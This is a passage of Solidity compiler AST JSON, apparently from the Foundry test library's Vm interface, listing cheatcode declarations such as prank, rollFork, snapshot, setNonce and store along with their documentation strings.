escriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15315,"mutability":"mutable","name":"data","nameLocation":"76574:4:13","nodeType":"VariableDeclaration","scope":15320,"src":"76559:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15314,"name":"bytes","nodeType":"ElementaryTypeName","src":"76559:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15317,"mutability":"mutable","name":"returnData","nameLocation":"76595:10:13","nodeType":"VariableDeclaration","scope":15320,"src":"76580:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15316,"name":"bytes","nodeType":"ElementaryTypeName","src":"76580:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"76524:82:13"},"returnParameters":{"id":15319,"nodeType":"ParameterList","parameters":[],"src":"76615:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15326,"nodeType":"FunctionDefinition","src":"76691:43:13","nodes":[],"documentation":{"id":15321,"nodeType":"StructuredDocumentation","src":"76622:64:13","text":"Sets the *next* call's `msg.sender` to be the input address."},"functionSelector":"ca669fa7","implemented":false,"kind":"function","modifiers":[],"name":"prank","nameLocation":"76700:5:13","parameters":{"id":15324,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15323,"mutability":"mutable","name":"msgSender","nameLocation":"76714:9:13","nodeType":"VariableDeclaration","scope":15326,"src":"76706:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15322,"name":"address","nodeType":"ElementaryTypeName","src":"76706:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"76705:19:13"},"returnParameters":{"id":15325,"nodeType":"ParameterList","parameters":[],"src":"76733:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15334,"nodeType":"FunctionDefinition","src":"76853:61:13","nodes":[],"documentation":{"id":15327,"nodeType":"StructuredDocumentation","src":"76740:108:13","text":"Sets the *next* call's `msg.sender` to be the input address, and the `tx.origin` to be the second input."},"functionSelector":"47e50cce","implemented":false,"kind":"function","modifiers":[],"name":"prank","nameLocation":"76862:5:13","parameters":{"id":15332,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15329,"mutability":"mutable","name":"msgSender","nameLocation":"76876:9:13","nodeType":"VariableDeclaration","scope":15334,"src":"76868:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15328,"name":"address","nodeType":"ElementaryTypeName","src":"76868:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15331,"mutability":"mutable","name":"txOrigin","nameLocation":"76895:8:13","nodeType":"VariableDeclaration","scope":15334,"src":"76887:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15330,"name":"address","nodeType":"ElementaryTypeName","src":"76887:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"76867:37:13"},"returnParameters":{"id":15333,"nodeType":"ParameterList","parameters":[],"src":"76913:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15340,"nodeType":"FunctionDefinition","src":"77091:52:13","nodes":[],"documentation":{"id":15335,"nodeType":"StructuredDocumentation","src":"76920:166:13","text":"Sets `block.prevrandao`.\n Not available on EVM versions before Paris. Use `difficulty` instead.\n If used on unsupported EVM versions it will revert."},"functionSelector":"3b925549","implemented":false,"kind":"function","modifiers":[],"name":"prevrandao","nameLocation":"77100:10:13","parameters":{"id":15338,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15337,"mutability":"mutable","name":"newPrevrandao","nameLocation":"77119:13:13","nodeType":"VariableDeclaration","scope":15340,"src":"77111:21:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15336,"name":"bytes32","nodeType":"ElementaryTypeName","src":"77111:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"77110:23:13"},"returnParameters":{"id":15339,"nodeType":"ParameterList","parameters":[],"src":"77142:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15351,"nodeType":"FunctionDefinition","src":"77271:101:13","nodes":[],"documentation":{"id":15341,"nodeType":"StructuredDocumentation","src":"77149:117:13","text":"Reads the current `msg.sender` and `tx.origin` from state and reports if there is any active caller modification."},"functionSelector":"4ad0bac9","implemented":false,"kind":"function","modifiers":[],"name":"readCallers","nameLocation":"77280:11:13","parameters":{"id":15342,"nodeType":"ParameterList","parameters":[],"src":"77291:2:13"},"returnParameters":{"id":15350,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15345,"mutability":"mutable","name":"callerMode","nameLocation":"77323:10:13","nodeType":"VariableDeclaration","scope":15351,"src":"77312:21:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_CallerMode_$12038","typeString":"enum VmSafe.CallerMode"},"typeName":{"id":15344,"nodeType":"UserDefinedTypeName","pathNode":{"id":15343,"name":"CallerMode","nameLocations":["77312:10:13"],"nodeType":"IdentifierPath","referencedDeclaration":12038,"src":"77312:10:13"},"referencedDeclaration":12038,"src":"77312:10:13","typeDescriptions":{"typeIdentifier":"t_enum$_CallerMode_$12038","typeString":"enum VmSafe.CallerMode"}},"visibility":"internal"},{"constant":false,"id":15347,"mutability":"mutable","name":"msgSender","nameLocation":"77343:9:13","nodeType":"VariableDeclaration","scope":15351,"src":"77335:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15346,"name":"address","nodeType":"ElementaryTypeName","src":"77335:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15349,"mutability":"mutable","name":"txOrigin","nameLocation":"77362:8:13","nodeType":"VariableDeclaration","scope":15351,"src":"77354:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15348,"name":"address","nodeType":"ElementaryTypeName","src":"77354:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"77311:60:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15357,"nodeType":"FunctionDefinition","src":"77460:46:13","nodes":[],"documentation":{"id":15352,"nodeType":"StructuredDocumentation","src":"77378:77:13","text":"Resets the nonce of an account to 0 for EOAs and 1 for contract accounts."},"functionSelector":"1c72346d","implemented":false,"kind":"function","modifiers":[],"name":"resetNonce","nameLocation":"77469:10:13","parameters":{"id":15355,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15354,"mutability":"mutable","name":"account","nameLocation":"77488:7:13","nodeType":"VariableDeclaration","scope":15357,"src":"77480:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15353,"name":"address","nodeType":"ElementaryTypeName","src":"77480:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"77479:17:13"},"returnParameters":{"id":15356,"nodeType":"ParameterList","parameters":[],"src":"77505:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15365,"nodeType":"FunctionDefinition","src":"77849:70:13","nodes":[],"documentation":{"id":15358,"nodeType":"StructuredDocumentation","src":"77512:332:13","text":"Revert the state of the EVM to a previous snapshot\n Takes the snapshot ID to revert to.\n Returns `true` if the snapshot was successfully reverted.\n Returns `false` if the snapshot does not exist.\n **Note:** This does not automatically delete the snapshot. To delete the snapshot use `deleteSnapshot`."},"functionSelector":"44d7f0a4","implemented":false,"kind":"function","modifiers":[],"name":"revertTo","nameLocation":"77858:8:13","parameters":{"id":15361,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15360,"mutability":"mutable","name":"snapshotId","nameLocation":"77875:10:13","nodeType":"VariableDeclaration","scope":15365,"src":"77867:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15359,"name":"uint256","nodeType":"ElementaryTypeName","src":"77867:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"77866:20:13"},"returnParameters":{"id":15364,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15363,"mutability":"mutable","name":"success","nameLocation":"77910:7:13","nodeType":"VariableDeclaration","scope":15365,"src":"77905:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15362,"name":"bool","nodeType":"ElementaryTypeName","src":"77905:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"77904:14:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15373,"nodeType":"FunctionDefinition","src":"78202:79:13","nodes":[],"documentation":{"id":15366,"nodeType":"StructuredDocumentation","src":"77925:272:13","text":"Revert the state of the EVM to a previous snapshot and automatically deletes the snapshots\n Takes the snapshot ID to revert to.\n Returns `true` if the snapshot was successfully reverted and deleted.\n Returns `false` if the snapshot does not exist."},"functionSelector":"03e0aca9","implemented":false,"kind":"function","modifiers":[],"name":"revertToAndDelete","nameLocation":"78211:17:13","parameters":{"id":15369,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15368,"mutability":"mutable","name":"snapshotId","nameLocation":"78237:10:13","nodeType":"VariableDeclaration","scope":15373,"src":"78229:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15367,"name":"uint256","nodeType":"ElementaryTypeName","src":"78229:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"78228:20:13"},"returnParameters":{"id":15372,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15371,"mutability":"mutable","name":"success","nameLocation":"78272:7:13","nodeType":"VariableDeclaration","scope":15373,"src":"78267:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15370,"name":"bool","nodeType":"ElementaryTypeName","src":"78267:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"78266:14:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15379,"nodeType":"FunctionDefinition","src":"78378:52:13","nodes":[],"documentation":{"id":15374,"nodeType":"StructuredDocumentation","src":"78287:86:13","text":"Revokes persistent status from the address, previously added via `makePersistent`."},"functionSelector":"997a0222","implemented":false,"kind":"function","modifiers":[],"name":"revokePersistent","nameLocation":"78387:16:13","parameters":{"id":15377,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15376,"mutability":"mutable","name":"account","nameLocation":"78412:7:13","nodeType":"VariableDeclaration","scope":15379,"src":"78404:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15375,"name":"address","nodeType":"ElementaryTypeName","src":"78404:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"78403:17:13"},"returnParameters":{"id":15378,"nodeType":"ParameterList","parameters":[],"src":"78429:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15386,"nodeType":"FunctionDefinition","src":"78477:64:13","nodes":[],"documentation":{"id":15380,"nodeType":"StructuredDocumentation","src":"78436:36:13","text":"See `revokePersistent(address)`."},"functionSelector":"3ce969e6","implemented":false,"kind":"function","modifiers":[],"name":"revokePersistent","nameLocation":"78486:16:13","parameters":{"id":15384,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15383,"mutability":"mutable","name":"accounts","nameLocation":"78522:8:13","nodeType":"VariableDeclaration","scope":15386,"src":"78503:27:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_calldata_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":15381,"name":"address","nodeType":"ElementaryTypeName","src":"78503:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":15382,"nodeType":"ArrayTypeName","src":"78503:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"78502:29:13"},"returnParameters":{"id":15385,"nodeType":"ParameterList","parameters":[],"src":"78540:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15392,"nodeType":"FunctionDefinition","src":"78576:42:13","nodes":[],"documentation":{"id":15387,"nodeType":"StructuredDocumentation","src":"78547:24:13","text":"Sets `block.height`."},"functionSelector":"1f7b4f30","implemented":false,"kind":"function","modifiers":[],"name":"roll","nameLocation":"78585:4:13","parameters":{"id":15390,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15389,"mutability":"mutable","name":"newHeight","nameLocation":"78598:9:13","nodeType":"VariableDeclaration","scope":15392,"src":"78590:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15388,"name":"uint256","nodeType":"ElementaryTypeName","src":"78590:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"78589:19:13"},"returnParameters":{"id":15391,"nodeType":"ParameterList","parameters":[],"src":"78617:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15398,"nodeType":"FunctionDefinition","src":"78757:48:13","nodes":[],"documentation":{"id":15393,"nodeType":"StructuredDocumentation","src":"78624:128:13","text":"Updates the currently active fork to given block number\n This is similar to `roll` but for the currently active fork."},"functionSelector":"d9bbf3a1","implemented":false,"kind":"function","modifiers":[],"name":"rollFork","nameLocation":"78766:8:13","parameters":{"id":15396,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15395,"mutability":"mutable","name":"blockNumber","nameLocation":"78783:11:13","nodeType":"VariableDeclaration","scope":15398,"src":"78775:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15394,"name":"uint256","nodeType":"ElementaryTypeName","src":"78775:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"78774:21:13"},"returnParameters":{"id":15397,"nodeType":"ParameterList","parameters":[],"src":"78804:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15404,"nodeType":"FunctionDefinition","src":"79020:43:13","nodes":[],"documentation":{"id":15399,"nodeType":"StructuredDocumentation","src":"78811:204:13","text":"Updates the currently active fork to given transaction. This will `rollFork` with the number\n of the block the transaction was mined in and replays all transaction mined before it in the block."},"functionSelector":"0f29772b","implemented":false,"kind":"function","modifiers":[],"name":"rollFork","nameLocation":"79029:8:13","parameters":{"id":15402,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15401,"mutability":"mutable","name":"txHash","nameLocation":"79046:6:13","nodeType":"VariableDeclaration","scope":15404,"src":"79038:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15400,"name":"bytes32","nodeType":"ElementaryTypeName","src":"79038:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"79037:16:13"},"returnParameters":{"id":15403,"nodeType":"ParameterList","parameters":[],"src":"79062:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15412,"nodeType":"FunctionDefinition","src":"79123:64:13","nodes":[],"documentation":{"id":15405,"nodeType":"StructuredDocumentation","src":"79069:49:13","text":"Updates the given fork to given block number."},"functionSelector":"d74c83a4","implemented":false,"kind":"function","modifiers":[],"name":"rollFork","nameLocation":"79132:8:13","parameters":{"id":15410,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15407,"mutability":"mutable","name":"forkId","nameLocation":"79149:6:13","nodeType":"VariableDeclaration","scope":15412,"src":"79141:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15406,"name":"uint256","nodeType":"ElementaryTypeName","src":"79141:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15409,"mutability":"mutable","name":"blockNumber","nameLocation":"79165:11:13","nodeType":"VariableDeclaration","scope":15412,"src":"79157:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15408,"name":"uint256","nodeType":"ElementaryTypeName","src":"79157:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"79140:37:13"},"returnParameters":{"id":15411,"nodeType":"ParameterList","parameters":[],"src":"79186:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15420,"nodeType":"FunctionDefinition","src":"79323:59:13","nodes":[],"documentation":{"id":15413,"nodeType":"StructuredDocumentation","src":"79193:125:13","text":"Updates the given fork to block number of the given transaction and replays all transaction mined before it in the block."},"functionSelector":"f2830f7b","implemented":false,"kind":"function","modifiers":[],"name":"rollFork","nameLocation":"79332:8:13","parameters":{"id":15418,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15415,"mutability":"mutable","name":"forkId","nameLocation":"79349:6:13","nodeType":"VariableDeclaration","scope":15420,"src":"79341:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15414,"name":"uint256","nodeType":"ElementaryTypeName","src":"79341:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15417,"mutability":"mutable","name":"txHash","nameLocation":"79365:6:13","nodeType":"VariableDeclaration","scope":15420,"src":"79357:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15416,"name":"bytes32","nodeType":"ElementaryTypeName","src":"79357:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"79340:32:13"},"returnParameters":{"id":15419,"nodeType":"ParameterList","parameters":[],"src":"79381:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15426,"nodeType":"FunctionDefinition","src":"79495:45:13","nodes":[],"documentation":{"id":15421,"nodeType":"StructuredDocumentation","src":"79388:102:13","text":"Takes a fork identifier created by `createFork` and sets the corresponding forked state as active."},"functionSelector":"9ebf6827","implemented":false,"kind":"function","modifiers":[],"name":"selectFork","nameLocation":"79504:10:13","parameters":{"id":15424,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15423,"mutability":"mutable","name":"forkId","nameLocation":"79523:6:13","nodeType":"VariableDeclaration","scope":15426,"src":"79515:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15422,"name":"uint256","nodeType":"ElementaryTypeName","src":"79515:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"79514:16:13"},"returnParameters":{"id":15425,"nodeType":"ParameterList","parameters":[],"src":"79539:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15434,"nodeType":"FunctionDefinition","src":"79638:61:13","nodes":[],"documentation":{"id":15427,"nodeType":"StructuredDocumentation","src":"79546:87:13","text":"Sets the nonce of an account. Must be higher than the current nonce of the account."},"functionSelector":"f8e18b57","implemented":false,"kind":"function","modifiers":[],"name":"setNonce","nameLocation":"79647:8:13","parameters":{"id":15432,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15429,"mutability":"mutable","name":"account","nameLocation":"79664:7:13","nodeType":"VariableDeclaration","scope":15434,"src":"79656:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15428,"name":"address","nodeType":"ElementaryTypeName","src":"79656:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15431,"mutability":"mutable","name":"newNonce","nameLocation":"79680:8:13","nodeType":"VariableDeclaration","scope":15434,"src":"79673:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15430,"name":"uint64","nodeType":"ElementaryTypeName","src":"79673:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"79655:34:13"},"returnParameters":{"id":15433,"nodeType":"ParameterList","parameters":[],"src":"79698:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15442,"nodeType":"FunctionDefinition","src":"79765:67:13","nodes":[],"documentation":{"id":15435,"nodeType":"StructuredDocumentation","src":"79705:55:13","text":"Sets the nonce of an account to an arbitrary value."},"functionSelector":"9b67b21c","implemented":false,"kind":"function","modifiers":[],"name":"setNonceUnsafe","nameLocation":"79774:14:13","parameters":{"id":15440,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15437,"mutability":"mutable","name":"account","nameLocation":"79797:7:13","nodeType":"VariableDeclaration","scope":15442,"src":"79789:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15436,"name":"address","nodeType":"ElementaryTypeName","src":"79789:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15439,"mutability":"mutable","name":"newNonce","nameLocation":"79813:8:13","nodeType":"VariableDeclaration","scope":15442,"src":"79806:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15438,"name":"uint64","nodeType":"ElementaryTypeName","src":"79806:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"79788:34:13"},"returnParameters":{"id":15441,"nodeType":"ParameterList","parameters":[],"src":"79831:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15448,"nodeType":"FunctionDefinition","src":"79987:58:13","nodes":[],"documentation":{"id":15443,"nodeType":"StructuredDocumentation","src":"79838:144:13","text":"Snapshot the current state of the evm.\n Returns the ID of the snapshot that was created.\n To revert a snapshot use `revertTo`."},"functionSelector":"9711715a","implemented":false,"kind":"function","modifiers":[],"name":"snapshot","nameLocation":"79996:8:13","parameters":{"id":15444,"nodeType":"ParameterList","parameters":[],"src":"80004:2:13"},"returnParameters":{"id":15447,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15446,"mutability":"mutable","name":"snapshotId","nameLocation":"80033:10:13","nodeType":"VariableDeclaration","scope":15448,"src":"80025:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15445,"name":"uint256","nodeType":"ElementaryTypeName","src":"80025:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"80024:20:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15454,"nodeType":"FunctionDefinition","src":"80152:48:13","nodes":[],"documentation":{"id":15449,"nodeType":"StructuredDocumentation","src":"80051:96:13","text":"Sets all subsequent calls' `msg.sender` to be the input address until `stopPrank` is called."},"functionSelector":"06447d56","implemented":false,"kind":"function","modifiers":[],"name":"startPrank","nameLocation":"80161:10:13","parameters":{"id":15452,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15451,"mutability":"mutable","name":"msgSender","nameLocation":"80180:9:13","nodeType":"VariableDeclaration","scope":15454,"src":"80172:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15450,"name":"address","nodeType":"ElementaryTypeName","src":"80172:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"80171:19:13"},"returnParameters":{"id":15453,"nodeType":"ParameterList","parameters":[],"src":"80199:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15462,"nodeType":"FunctionDefinition","src":"80351:66:13","nodes":[],"documentation":{"id":15455,"nodeType":"StructuredDocumentation","src":"80206:140:13","text":"Sets all subsequent calls' `msg.sender` to be the input address until `stopPrank` is called, and the `tx.origin` to be the second input."},"functionSelector":"45b56078","implemented":false,"kind":"function","modifiers":[],"name":"startPrank","nameLocation":"80360:10:13","parameters":{"id":15460,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15457,"mutability":"mutable","name":"msgSender","nameLocation":"80379:9:13","nodeType":"VariableDeclaration","scope":15462,"src":"80371:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15456,"name":"address","nodeType":"ElementaryTypeName","src":"80371:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15459,"mutability":"mutable","name":"txOrigin","nameLocation":"80398:8:13","nodeType":"VariableDeclaration","scope":15462,"src":"80390:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15458,"name":"address","nodeType":"ElementaryTypeName","src":"80390:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"80370:37:13"},"returnParameters":{"id":15461,"nodeType":"ParameterList","parameters":[],"src":"80416:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15466,"nodeType":"FunctionDefinition","src":"80492:30:13","nodes":[],"documentation":{"id":15463,"nodeType":"StructuredDocumentation","src":"80423:64:13","text":"Resets subsequent calls' `msg.sender` to be `address(this)`."},"functionSelector":"90c5013b","implemented":false,"kind":"function","modifiers":[],"name":"stopPrank","nameLocation":"80501:9:13","parameters":{"id":15464,"nodeType":"ParameterList","parameters":[],"src":"80510:2:13"},"returnParameters":{"id":15465,"nodeType":"ParameterList","parameters":[],"src":"80521:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15476,"nodeType":"FunctionDefinition","src":"80580:69:13","nodes":[],"documentation":{"id":15467,"nodeType":"StructuredDocumentation","src":"80528:47:13","text":"Stores a value to an address' storage slot."},"functionSelector":"70ca10bb","implemented":false,"kind":"function","modifiers":[],"name":"store","nameLocation":"80589:5:13","parameters":{"id":15474,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15469,"mutability":"mutable","name":"target","nameLocation":"80603:6:13","nodeType":"VariableDeclaration","scope":15476,"src":"80595:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15468,"name":"address","nodeType":"ElementaryTypeName","src":"80595:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15471,"mutability":"mutable","name":"slot","nameLocation":"80619:4:13","nodeType":"VariableDeclaration","scope":15476,"src":"80611:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15470,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80611:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":15473,"mutability":"mutable","name":"value","nameLocation":"80633:5:13","nodeType":"VariableDeclaration","scope":15476,"src":"80625:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15472,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80625:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"80594:45:13"},"returnParameters":{"id":15475,"nodeType":"ParameterList","parameters":[],"src":"80648:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15482,"nodeType":"FunctionDefinition","src":"80752:43:13","nodes":[],"documentation":{"id":15477,"nodeType":"StructuredDocumentation","src":"80655:92:13","text":"Fetches the given transaction from the active fork and executes it on the current 